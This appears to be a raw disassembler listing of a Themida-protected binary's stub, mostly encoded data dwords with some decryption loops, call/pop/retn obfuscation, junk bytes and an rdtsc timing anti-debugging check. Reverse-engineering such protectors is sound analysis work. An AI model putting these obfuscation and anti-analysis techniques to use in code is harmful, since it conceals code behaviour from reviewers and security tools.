9D858B06h, 60061524h, 0DE9h, 977ABC00h, 5B7821A2h dd 67D38CD1h, 61FC3DB7h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 28E3C355h dd 49DEA71Ch, 6650962Ch, 505BDF8Bh, 8C0Fh, 6A960000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D315C355h, 544B8F5Eh, 0BD8B1BC7h, 6152555h, 0BF91B5FFh dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0B6C4E8C3h, 13E9B8h, 0F4C60000h, 0FBAE64D6h dd 0D2035939h, 0D5F975E2h, 1A83FA23h, 0E2A76849h, 14E864B8h dd 70000000h, 53EC24D4h, 0C207E36h, 17E6FEA6h, 7E265A71h dd 51E97990h, 5F5BDA8Bh, 58243481h, 6A64A7E1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 6F73C353h, 0BF99858Dh, 9D290618h, 61516F1h, 10E890h dd 7AAA0000h, 72E78175h, 6F5DABC3h, 544538CCh, 52500629h dd 585A310Fh, 860F505Fh, 1Ch, 8D0F5250h, 0 dd 0AE8310Fh, 10000000h, 51FEEB17h, 0DAFAA8AFh, 585A5F00h dd 1DC78190h, 0FF0B9647h, 150DAD95h, 0A1BD8906h, 61061512h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A3C35242h dd 9D8B4609h, 615166Dh, 111585C7h, 30615h, 83FC0000h, 18BF99BDh dd 840F0006h, 2Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 2DC35141h, 2A806F81h, 1FE9F9h, 8B660000h ; --------------------------------------------------------------------------- fdivrp st(5), st loc_5C2656: ; CODE XREF: Themida_:005C2278j ; Themida_:005C266Dj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5C2656 jmp short loc_5C26A7 ; --------------------------------------------------------------------------- loc_5C2671: ; CODE XREF: Themida_:005C223Aj ; Themida_:005C2688j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5C2671 jmp short loc_5C26A7 ; --------------------------------------------------------------------------- loc_5C268C: ; CODE XREF: Themida_:005C2261j ; Themida_:005C26A3j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5C268C jmp short $+2 loc_5C26A7: ; CODE XREF: Themida_:005C266Fj ; Themida_:005C268Aj mov eax, eax mov [ebp+61515DDh], ebx sub [ebp+61512BDh], ecx cmp dword ptr [ebp+6151115h], 3 jnz loc_5C2A6F mov bl, 0A0h cmp dword ptr [ebp+618BF99h], 0 jz loc_5C2A6F push 0 push ebp call sub_5C26DC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C26DC proc near ; CODE XREF: Themida_:005C26D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C26DC endp ; --------------------------------------------------------------------------- dd 0E09A5B2Bh, 0BF99B5FFh, 6A0618h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 521FDCC3h dd 5FE58F18h, 0BB66FB5Dh, 95FF383Ch, 61510E1h, 9C2ABF66h dd 0BF8DB58Bh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0B6ECD9C3h, 0BC0DC5BFh, 106C742h dd 89000100h, 15269D8Dh, 34895006h, 0D9BD8B24h, 0FF06151Ch dd 18BF99B5h, 0B5BF6606h, 0A195FF79h, 89061506h, 15192185h dd 8DB58B06h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1C33C356h, 159938C0h dd 0BE9h, 0AE9AC100h, 5A67C091h, 0F50B0D3Ch, 59858Bh, 12E80615h dd 0F5000000h, 6112566Bh, 4275C5B1h, 0CB21276Ch, 849D9627h dd 0B70F6032h, 895B61CEh, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0C78166ACh dd 958BBD0Dh, 6152721h, 6880Fh, 8D010000h, 61512D5h, 6A04C283h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 537FC350h, 0EE04D3DBh, 0A9BD8BF2h, 8906152Ah dd 0F3812050h, 76A31484h, 0D458858Dh, 6A0618h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8937BBC3h, 0B886h, 0E3816000h, 45CE2AFAh, 61DFBF0Fh dd 0BD03006Ah, 61520C1h, 26FDBD03h, 0B5FF0615h, 618BF99h dd 0A860BF66h, 1D4D95FFh, 9D890615h, 6150A8Dh, 8ABF6696h dd 820F5088h, 3, 96D98B66h, 599D8BFCh, 0FF061518h, 18BF99B5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 268152DEh, 0FEB16ABh, 2995FFE1h, 6A061507h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 7E7CC355h, 65BD832Eh, 61500h, 32840Fh, 0B70F0000h dd 348950FBh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 427D973h, 5E973C2h, 8A000000h, 3A37452Dh dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4FAF4EC3h, 0F16577Dh, 68Ah, 719D8900h dd 8B061503h, 151A059Dh, 3995FF06h, 6A061504h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 6702C352h, 0EDD9098Ch, 0F780659Ch, 99B5FFFCh, 6A0618BFh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 2FEBC353h, 0DAEF2475h, 0BFC92E63h, 7BD52440h dd 0DCD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0DA7DB8C3h, 31F8FB8Bh, 1522F18Dh dd 5DBD8306h, 2061528h, 45840Fh, 0BD8B0000h, 61520C1h dd 2849858Bh, 0BF0F0615h, 119589FFh, 0C6061523h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 37651EC3h, 0FB46AC5Ah, 0BF0FE251h, 61BD89D9h, 0C7061516h dd 1523F585h, 6, 0DE900h, 0EF5C0000h, 0FF6CFA22h, 0CDD826DCh ; --------------------------------------------------------------------------- sbb esi, esp dec eax loc_5C2A6F: ; CODE XREF: Themida_:005C26BCj ; Themida_:005C26CBj jmp near ptr dword_5C1E9C+3Dh ; --------------------------------------------------------------------------- mov bx, 8551h mov eax, ecx jz loc_5C2A86 mov [ebp+61518C5h], esi loc_5C2A86: ; CODE XREF: Themida_:005C2A7Aj lea eax, [ebp+615279Dh] push 0 push esi call sub_5C2A97 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2A97 proc near ; CODE XREF: Themida_:005C2A8Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5C2A97 endp ; --------------------------------------------------------------------------- db 78h db 90h ; --------------------------------------------------------------------------- jbe loc_5C2AB1 push edx pop ebx loc_5C2AB1: ; CODE XREF: Themida_:005C2AA9j push eax pusha pusha pusha popa jl $+6 popa popa nop mov [ebp+6150A31h], ebx push 0 adc ebx, 5A99FD07h push 0 jmp loc_5C2ADA ; --------------------------------------------------------------------------- dd 0F936D48Ah db 50h, 82h ; --------------------------------------------------------------------------- loc_5C2ADA: ; CODE XREF: Themida_:005C2ACFj lea eax, [ebp+6199257h] add [ebp+61517F1h], ebx add eax, 5 jmp loc_5C2AF7 ; --------------------------------------------------------------------------- dw 0C0B7h dd 44B7788Dh db 75h, 0ABh, 7Fh ; --------------------------------------------------------------------------- loc_5C2AF7: ; CODE XREF: Themida_:005C2AE9j nop mov ebx, 16659B55h push eax push eax push edx mov di, 753h rdtsc js loc_5C2B18 call sub_5C2B17 dec esp push 0A6BA44B6h ; =============== S U B R O U T I N E ======================================= sub_5C2B17 proc near ; CODE XREF: Themida_:005C2B0Cp pop edi loc_5C2B18: ; CODE XREF: Themida_:005C2B06j pop edx pop eax nop push 0 push ebp call sub_5C2B26 and [ebp-3Dh], bl sub_5C2B17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C2B26 proc near ; CODE XREF: sub_5C2B17+7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C2B26 endp ; --------------------------------------------------------------------------- dw 79E7h dd 0F0A31DC6h, 8D0F8Ah, 66000000h, 0EFBD381h, 8166006Ah dd 6A22D6CBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 4D5B04AEh, 9AE2A9D9h, 0B589DE81h dd 6152DD9h, 26119589h, 95FF0615h, 6152679h, 6870Fh, 0BD8B0000h dd 6151565h, 9C158D8Dh, 9D8B0618h, 6151989h, 6AD1FFh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0FE8BACC3h, 4E9BD8Bh, 0BD830615h, 6152DB5h, 0B3850F01h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0B5A5C356h, 0F94B028Bh, 6A026Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0D1F010C3h, 2004BDBBh, 85295B12h, 6152E99h, 503AB790h dd 7E8h, 0AD8A1000h, 0D9B563B7h, 0C00AAABBh, 6A905F70h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0AB77C353h, 60608671h, 2341858Bh, 860F0615h dd 0 ; --------------------------------------------------------------------------- popa jnp loc_5C2C71 jle $+6 loc_5C2C71: ; CODE XREF: Themida_:005C2C65j popa call dword ptr [ebp+6151D4Dh] pusha push eax and si, 3E4h pop edx mov esi, 6731286Dh popa jmp loc_5C3A58 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 6199261h and bl, 0E0h mov ebx, 3F70C1B5h stc lea eax, [ebp+61888F9h] push 0 push eax call sub_5C2CB1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2CB1 proc near ; CODE XREF: Themida_:005C2CA9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5C2CB1 endp ; --------------------------------------------------------------------------- db 1Eh, 0E4h, 20h ; --------------------------------------------------------------------------- xor cl, [ebx+153415BDh] push es mov [ebp+6150D11h], ecx push eax mov [esp], eax push 0 push eax call sub_5C2CE0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2CE0 proc near ; CODE XREF: Themida_:005C2CD8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5C2CE0 endp ; --------------------------------------------------------------------------- dd 0F88B0F4Dh, 35FF64h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E4EFC357h dd 314F86E3h, 1503918Dh, 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5C2D33 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C2D33 proc near ; CODE XREF: Themida_:005C2D2Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5C2D33 endp ; --------------------------------------------------------------------------- db 6 dd 3585FFB7h, 6A061515h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0E959C356h, 31B5AB1Bh dd 8D295C80h, 61518D9h, 0FE9FF6Ah, 4F000000h, 0EED9B8CEh dd 0F4673A6Dh, 402B2601h, 0BD2BE1AFh, 61500F1h, 10F1B5FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8EA6DCC3h, 0FF57A119h, 1508BD95h, 0FCE906h dd 81660000h, 0B0131DC7h, 68C0F00h, 3000000h, 150A2DBDh dd 6670E606h, 0E4C6B8BFh, 613CFC71h, 0D8830Fh, 0FF50000h dd 6BAC8B6h, 1000000h, 151D01B5h, 89C18B06h, 15169D9Dh dd 4E8C106h, 6DBD8Bh, 0F7660615h, 1BD89E2h, 2B061524h dd 0FDBD8BC8h, 8B061510h, 28B0FD1h, 60000000h, 0F58D8961h dd 0E9061518h, 6, 1DE5BD89h, 858B0615h, 6152C69h, 899D8B56h dd 5B061500h, 8B07C083h, 1511219Dh, 0C08306h, 830FD03Bh dd 15h, 1A618D89h, 5FE90615h, 0F000000h, 486h, 0AABB6600h dd 798D8B22h, 8B061510h, 150AA9BDh, 1E18306h, 40840Fh dd 0A5830000h, 6151079h, 14E8FEh, 0DC9A0000h, 0A8084BB3h dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 6E84C8Ch, 65000000h dd 80BCDE50h, 5FFE8A31h, 6995895Bh, 8B06152Ch, 15182DBDh dd 0E906h, 0B58D0000h, 6191657h, 165D9D89h, 6A0615h, 12E8h dd 0DF82C900h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 0B75A2D11h dd 95FF5BFFh, 6152E21h, 0B9FEB70Fh, 836h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 71C35242h, 0EF273A2Dh dd 13E97907h, 6B000000h, 58164671h, 0AC76E9AAh, 71E17062h dd 3344F57Ch, 0BD01B8DDh, 6150CF5h, 0FCFCE183h, 0CE5BD89h dd 0E9FC0615h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h dd 0B8E9D7h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0DCCDC355h, 0DB80D22Bh dd 0C233ADB9h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D60104FCh, 3BBBA7AFh, 6C99D8Bh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 560746C3h dd 0E1852360h, 0E9061528h, 14h, 271EF01h, 0D749429h, 0B98AB433h dd 84FDE05Bh, 9914A692h, 880D61h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 69D12EC3h dd 8B3EDDB1h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 427D973h, 0AD7873C2h dd 5F5B5751h, 4CD8D8Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8B509DC3h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 2F75BD33h, 0BD830615h dd 61518A9h, 6D840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 31C356h dd 9227070Dh, 0DED9D0Bh, 0B80615h, 89000000h, 151735B5h dd 9E8D8D06h, 8906154Fh, 150AB19Dh, 6AE1FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 625EC351h, 5F26FD7Ah, 0DF816614h, 0DF813506h, 6C4BA87Bh dd 1115BD83h, 0F000615h, 47B84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 43440580h dd 0A2D8BF64h, 0BD83304Bh, 6151115h, 64840F01h, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 4E42C350h, 0BD8B6A26h, 6151605h, 1115BD83h dd 0F030615h, 3FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F5FE20Ch, 0F60FEBFh dd 68Ah, 0DD958900h, 66061526h, 6AD98Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E2212CC3h dd 0E1801662h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 89064D36h, 150A5585h dd 0D59D8B06h, 0A061521h, 0F3840FC9h, 8B000000h, 15249D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 74BEDD31h, 0BB67B3BFh, 4DA9524Ah, 19B58533h dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E8ECEBC3h, 0FE95029h, 61000000h, 0A3BD6879h dd 61808C50h, 2C2638D7h, 48971A3h, 7E924h, 0F7800000h dd 0B9928945h, 0BF006A93h, 43E5DAB8h, 0D11E1768h, 38B0F80h dd 66000000h, 481DF8Bh, 4DE5E824h, 89AFB37Fh, 1521E1B5h dd 0AD95FF06h, 6A06150Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C1ABC356h, 274D91E5h dd 0BF998589h, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 353256C3h, 0E9FB17E0h, 201h, 2D99BD03h dd 858B0615h, 618BF91h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 4AC35747h, 4AB20722h, 859BEB81h, 0C77902h dd 18h, 55BD8950h, 5F061527h, 2E15BD29h, 0B58B0615h, 618BF95h dd 792FBB60h, 0B2B966ECh, 613E2CAFh, 0C45858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B70F3DC3h, 0D8BF66DAh, 6A06896Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 1265C350h dd 8D54D9AEh, 5AB86660h, 0A5958B07h, 6106152Fh, 249D858Bh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 6315DBC3h, 0F98589D3h, 66061501h, 4689DA8Bh dd 0BE666004h, 0E880E4D3h, 8B9661E1h, 525050FAh, 0BE85250h dd 73000000h, 0B5ACFF7Ch, 5231F78Ch, 0F5F72EAh, 830F31h dd 5A000000h, 0E8310F58h, 5, 6B6E0D71h, 5F616071h, 8996585Ah dd 1526658Dh, 91B5FF06h, 0E90618BFh, 13h, 841389A4h, 27751858h dd 70A1C890h, 98F42096h, 681F49C3h, 4F90E284h, 81D88B66h dd 0E17B2434h, 8D894F8Fh, 6151D0Dh, 0BF99858Dh, 6A0618h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5083B8C3h, 0C5B4F4ACh, 315241DAh, 1516B99Dh, 50905B06h dd 0F98B6652h, 8E8310Fh, 3000000h, 295B701Ch, 66F2E6B3h dd 5A5FD98Bh, 0FE85058h, 0F1000000h, 139675B1h, 5A11EAEBh dd 5F61B8C6h, 0BF57BFF9h, 3F2FCE56h, 80905B5Fh, 95FF7EC7h dd 6150DADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0E0C35747h, 0D75094D5h, 7E96061h, 10000000h, 1811D81Ah dd 0B58B1D04h, 61527FDh, 6A6161h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0D62456C3h, 0FD858954h dd 0C7061509h, 15111585h, 306h, 699D0300h, 83061518h, 18BF99BDh dd 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 39C35242h, 0DC2C3934h, 38083BDDh, 37E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0C3050CFh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0EEC35545h, 81DCD02Ah, 0CF81C188h, 4787CACCh dd 91DBD8Bh, 0BD830615h, 6151115h, 19850F03h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0FEE0C357h, 0D9FB8E78h, 0EF81665Fh, 9D297AEAh dd 6150A6Dh, 0BF99BD83h, 0F000618h, 3DF84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 60F0194Fh, 850F3269h, 8, 41B58B60h, 61061503h, 0BF99B5FFh dd 0BF0F0618h, 0E195FFF8h, 6A061510h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3EA7C357h dd 0C2E340CFh, 0E99531E8h, 8B061517h, 18BF8DB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 7E21B031h, 6240C8F9h, 8166753Ch, 0B7BFD8E7h, 106C779h dd 8B000100h, 150DEDBDh, 0EABF5006h, 891E95A8h, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A579D4C3h, 531BB3F1h, 5FD9BF0Fh, 0BF99B5FFh, 9D330618h dd 6150BF1h, 6A195FFh, 0B58B0615h, 618BF8Dh, 0BE9h, 1F11A900h dd 0F18D271h, 0A957F6B4h, 59858Bh, 0F600615h, 68Dh, 3DB58B00h dd 60061517h, 20C58509h, 858B0615h, 6151D11h, 86896161h dd 0C4h, 8840Fh, 8C0F0000h, 2, 958B8FB3h, 6152721h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h, 0A156284Dh dd 0D55993B6h, 1858952h, 5B061515h, 6A04C283h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0A46FC351h, 7E76DB08h, 0D7EF3760h, 97CF80FCh, 80205089h dd 858D76EBh, 618D458h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 6DC35242h, 256A44E6h, 8689B8F2h, 0B8h dd 6AA8D380h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 36A2EAE2h, 0BEC6C8CFh, 85898E2Fh dd 6150965h, 0BF99B5FFh, 81660618h, 0FF2C7ECFh, 151D4D95h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 77BD5489h, 50F8448Bh, 0EE9h, 0FEDB1000h dd 0CF0EC2C1h, 0F1153110h, 895D933Ah, 9D892434h, 61516C5h dd 0FE9h, 0B37AA000h, 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh dd 0BF99B5FFh, 85890618h, 6152AEDh, 72995FFh, 0CE80615h dd 9B000000h, 0D5F50F3Fh, 0FEFF3E57h, 0E90CEB1Dh, 13h dd 0F0F627EBh, 1028E7C7h, 49278430h, 0CDABE4Bh, 5F5E8640h dd 6890Fh, 9D8B0000h, 61523DDh, 65BD83h, 0F000615h, 3684h dd 61F96000h, 98BB6650h, 243489F6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0D8C35747h, 2FCEBCACh, 2B1141Eh dd 0A19D8BE9h, 0FF061504h, 18BF99B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0BD9F56AEh, 0C2D31900h, 0FFF934F8h, 15043995h, 99B5FF06h dd 330618BFh, 1511599Dh, 0CD95FF06h, 6A06150Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E24C351h, 60A427B9h, 26259D89h, 0B5030615h, 6151D25h dd 5DBD8361h, 2061528h, 63840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0FA6AD3C3h dd 65CD4CE4h, 0F1DE1E4h, 858BDAB7h, 6152849h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3EC35545h, 82CC99D1h dd 66BE3F04h, 0E58D3161h, 0C606150Ch, 0BF510000h, 6DDC103h dd 0F585C75Bh, 61523h, 0E9000000h, 0Ch, 0FDCA9BE4h, 4E731876h dd 4268E8E5h, 0FFF367E9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C9D66382h dd 0DE829E5h, 9000000h, 90B6CCEDh, 0F29EC761h, 27A3FA43h dd 28699D8Bh, 815B0615h, 0B9A2ECCFh, 8BC18B76h, 665651D8h dd 5B5BFE8Bh ; --------------------------------------------------------------------------- loc_5C3A58: ; CODE XREF: Themida_:005C2C86j jmp loc_5C3A78 ; --------------------------------------------------------------------------- db 0D5h, 1Bh, 0C8h dd 5Ch, 5 dup(0) ; --------------------------------------------------------------------------- loc_5C3A78: ; CODE XREF: Themida_:loc_5C3A58j jmp loc_5C3FA7 ; --------------------------------------------------------------------------- db 72h, 14h, 0A4h dd 6FDF62D1h, 0AC1C9986h, 66D65AC9h, 0B222A08Fh, 0CCC7C4E3h dd 817FE6Eh, 0D15E37A7h, 0BD720373h, 9C27CE3Eh, 52CE13B2h dd 0ECAD169Fh, 57C72450h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h dd 82B1BCAEh, 8CA59101h, 6A77BF2Fh, 0FA1FA607h, 811086F2h dd 7979FB0h, 199A2DA0h, 5C82CCA9h, 86F2A0E9h, 907A4B10h dd 0ADB121A3h, 581EF5A8h, 412955BCh, 0F7FFD32h, 25951A07h dd 3CA312F1h, 0A5B9298Bh, 83C50CB7h, 9FA81086h, 0F0E39844h dd 2AC0EF24h, 0CB57D44Bh, 0CEBFF767h, 0C30C55F0h, 0DEEF1086h dd 1E3EC5F1h, 521086C3h, 9F9482F2h, 906DA919h, 86B020A3h dd 0E3CAC3h, 18319C1Dh, 97A84B95h, 701Bh, 0C724EF00h, 0CA2A8757h dd 0FF86B05Ah, 1086F2D8h, 0A91C421Ch, 1086F260h, 577A490Bh dd 161086F2h, 4A0D2A05h, 1F95D998h, 903F7A10h, 0A84234B9h dd 12BC97h, 0ECF20000h, 86D63059h, 0E8B95210h, 3671BF60h dd 69D1B98Ah, 6155C524h, 0BD81F150h, 0F2FD249Fh, 0AF801086h dd 0E06051BBh, 43AA4670h, 56C62B9Ch, 54C42B88h, 0EE7D6D62h dd 0C352C241h, 56C62475h, 7EEE5360h, 74BD8138h, 2C8C87F7h dd 0E5857ABCh, 0C2EF03AAh, 0FA37D343h, 0F5101078h, 0A1397ABDh dd 0BB38E78Eh, 0D7564B4Bh, 5ED92F67h, 607FDA6Fh, 73E597A8h dd 0C1000000h, 6056C624h, 78BE597Eh, 11AF8A2Dh, 0CD3DB879h dd 0DFCE55C9h, 9A298AE8h, 10860477h, 340A25F6h, 4769B2Ah dd 24F51086h, 7AF82746h, 91170C0Ah, 1C93F521h, 124598B1h dd 62AB97A9h, 7F000000h, 6056C624h, 0BCE5607Eh, 3F1086F2h dd 2D8F7C6Eh, 32FC79BDh, 0F270992Ch, 2AFB1086h, 8C665940h dd 6254C427h, 0F97CDA75h, 6F409E65h, 0BC2C8E7Bh, 0C52453D9h dd 0CB288955h, 0D2715B5Bh, 1086F28Fh, 98725D6Eh, 0F2F7179Eh dd 27F31086h, 0B2DBA2Eh, 503ADDABh, 66D37669h, 0EE97A8FAh dd 1, 3DC924CAh, 5D614EBEh, 0F29DC47Fh, 5E601086h, 86F2A2E7h dd 57784910h, 0B6879B3h, 0F1989B9Bh, 3CAC09BEh, 43B31122h dd 1ADECCA7h, 0D571D4EAh, 68169BFCh, 0F1525F57h, 0F974BD81h dd 9D92E189h, 0D68AE1Eh, 1693F8C6h, 0EC2A9A18h, 160070F7h dd 662A9A1Dh, 0B413D0FFh, 1B18DA05h, 0D0412999h, 0E8720373h dd 0BDF969CBh, 8AE92AC0h, 0A4071C1Ah, 0A8092A34h, 6901FE38h dd 0C131B6ABh, 0F060DCD5h, 0E5D841C6h, 3BA20BFEh, 0D6BF2F8Ch dd 0BD245ECBh, 159E69Dh, 0ABC20000h, 0D903DB0Bh, 5B3F4AFCh dd 0BCAE2C37h, 9B2F91E1h, 1B1B2C16h, 6035A506h, 0F0A2D9FEh dd 0BA842B49h, 70E063D0h, 5ECE2D46h, 76E64B58h, 62D23340h dd 8A35BC34h, 0D609B059h, 532292F1h, 0BD3ADB5Eh, 82619Dh dd 0AB350000h, 0DE00DE0Eh, 86F22267h, 12F8C910h, 0B4C124Ch dd 589DBE2h, 0DC05A083h, 9F1086E2h, 0B8C1DC8Eh, 0E19086E2h dd 820C23F4h, 370724AEh, 86BA458Ch, 73172890h, 0C1447243h dd 9086BA98h, 0AFE757D6h, 0E6D040C2h, 0E7FCE34Ah, 876B52B9h dd 8757C72Ah, 86BA95BCh, 0A3475890h, 421C4CEDh, 86BA7E83h dd 14969B10h, 0C1D2C6A4h, 91342A34h, 1086BA48h, 1C886233h dd 97h, 31A12112h, 0BA620805h, 6EDE624Fh, 3262167Ch, 619992Ch dd 1B24169Ch, 73F69193h, 6BE83403h, 372C6A45h, 